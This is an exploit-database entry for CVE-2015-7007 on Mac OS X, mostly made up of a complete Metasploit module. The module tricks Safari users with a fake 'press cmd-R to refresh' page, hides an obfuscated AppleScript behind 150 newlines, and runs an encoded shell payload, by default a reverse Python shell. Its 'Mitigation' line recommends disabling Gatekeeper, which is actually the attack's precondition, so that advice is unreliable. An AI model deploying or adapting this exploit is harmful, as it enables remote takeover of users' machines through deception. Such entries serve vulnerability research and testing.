Safari User-Assisted Applescript Exec Attack

vendor:

Mac OS X

by:

joev

7,8

CVSS

HIGH

Applescript Exec Attack

CWE

Product Name: Mac OS X

Affected Version From: Mac OS X

Affected Version To: Mac OS X

Patch Exists: YES

Related CWE: CVE-2015-7007

CPE: o:apple:mac_os_x

Metasploit: https://www.rapid7.com/db/vulnerabilities/apple-osx-scripteditor-cve-2015-7007/, https://www.rapid7.com/db/vulnerabilities/apple-osx-accelerateframework-cve-2015-7007/

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Unix, OSX

2015

Safari User-Assisted Applescript Exec Attack

In versions of Mac OS X before 10.11.1, the applescript:// URL scheme is provided, which opens the provided script in the Applescript Editor. Pressing cmd-R in the Editor executes the code without any additional confirmation from the user. By getting the user to press cmd-R in Safari, and by hooking the cmd-key keypress event, a user can be tricked into running arbitrary Applescript code. Gatekeeper should be disabled from Security & Privacy in order to avoid the unidentified Developer prompt.

Mitigation:

Disable Gatekeeper from Security & Privacy in order to avoid the unidentified Developer prompt.

Source

Exploit-DB raw data:

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Safari User-Assisted Applescript Exec Attack',
      'Description'    => %q{
        In versions of Mac OS X before 10.11.1, the applescript:// URL
        scheme is provided, which opens the provided script in the Applescript
        Editor. Pressing cmd-R in the Editor executes the code without any
        additional confirmation from the user. By getting the user to press
        cmd-R in Safari, and by hooking the cmd-key keypress event, a user
        can be tricked into running arbitrary Applescript code.

        Gatekeeper should be disabled from Security & Privacy in order to
        avoid the unidentified Developer prompt.
      },
      'License'         => MSF_LICENSE,
      'Arch'            => ARCH_CMD,
      'Platform'        => ['unix', 'osx'],
      'Compat'          =>
        {
          'PayloadType' => 'cmd'
        },
      'Targets'         =>
        [
          [ 'Mac OS X', {} ]
        ],
      'DefaultOptions' => { 'payload' => 'cmd/unix/reverse_python' },
      'DefaultTarget'   => 0,
      'DisclosureDate'  => 'Oct 16 2015',
      'Author'          => [ 'joev' ],
      'References'     =>
        [
          [ 'CVE', '2015-7007' ],
          [ 'URL', 'https://support.apple.com/en-us/HT205375' ]
        ],
      'BrowserRequirements' => {
        :source  => 'script',
        :ua_name => HttpClients::SAFARI,
        :os_name => OperatingSystems::Match::MAC_OSX
      }
    ))

    register_options([
      OptString.new('CONTENT', [false, "Content to display in browser",
        "This page has failed to load. Press cmd-R to refresh."]),
      OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
    ], self.class)
  end

  def on_request_exploit(cli, request, profile)
    print_status("Sending #{self.name}")
    send_response_html(cli, exploit_html)
  end

  def exploit_html
    "<!doctype html><html><body>#{content}<script>#{exploit_js}</script></body></html>"
  end

  def exploit_js
    js_obfuscate %Q|
      var as = Array(150).join("\\n") +
        'do shell script "echo #{Rex::Text.encode_base64(sh)} \| base64 --decode \| /bin/sh"';
      var url = 'applescript://com.apple.scripteditor?action=new&script='+encodeURIComponent(as);
      window.onkeydown = function(e) {
        if (e.keyCode == 91) {
          window.location = url;
        }
      };
    |
  end

  def sh
    'killall "Script Editor"; nohup ' + payload.encoded
  end

  def content
    datastore['CONTENT']
  end


end